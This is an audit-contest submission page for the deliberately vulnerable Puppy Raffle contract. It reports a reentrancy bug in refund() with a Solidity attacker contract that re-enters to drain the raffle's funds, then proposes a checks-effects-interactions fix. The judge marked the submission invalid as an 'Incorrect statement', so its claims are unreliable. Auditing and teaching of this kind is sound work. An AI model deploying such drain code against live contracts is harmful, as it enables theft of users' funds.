Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: high
Invalid

State update after external call in refund() allows reentrancy to drain all raffle funds

alphalens

Root + Impact

Description

  • Root + Impact: Missing checks-effects-interactions in refund lets a contract entrant re-enter and withdraw entranceFee repeatedly, draining the whole contract.
    A player calls refund(playerIndex) to reclaim their entranceFee; the contract should send the ETH and mark the slot address(0) so it cannot be refunded again. Here the external transfer runs before the slot is zeroed, so the guarding requires still pass during re-entry.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee); // external call first
@> players[playerIndex] = address(0); // effect too late
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Occurs the first time any contract-based entrant calls refund on its own index; needs no privilege and no other player's action.

Impact:

  • The attacker drains the entire contract balance (all other entrants' fees), not just their own.

Proof of Concept

  • The attacker contract enters the raffle once, then calls refund on its own index. Because sendValue executes before the slot is zeroed, the ETH transfer invokes the attacker's receive(), which calls refund again with the same index; both require checks still pass, so the call recurses until the contract is empty. Net result: the attacker deposits a single entranceFee and withdraws the entire prize pool.

contract Attacker {
PuppyRaffle r; uint256 fee; uint256 idx;
constructor(PuppyRaffle _r){ r=_r; fee=_r.entranceFee(); }
function attack() external payable {
address[] memory p = new address[](1); p[0]=address(this);
r.enterRaffle{value: fee}(p);
idx = r.getActivePlayerIndex(address(this));
r.refund(idx); // starts the recursion
}
receive() external payable {
while (address(r).balance >= fee) { r.refund(idx); return; }
}
}
// Enters with 1 fee, leaves with the whole pool.

Recommended Mitigation

  • Following checks-effects-interactions — zeroing players[playerIndex] and emitting the event before the external sendValue — makes the require(playerAddress != address(0)) check fail on re-entry, so the recursive refund reverts. Adding OpenZeppelin's nonReentrant modifier gives the same guarantee as defense in depth.

require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!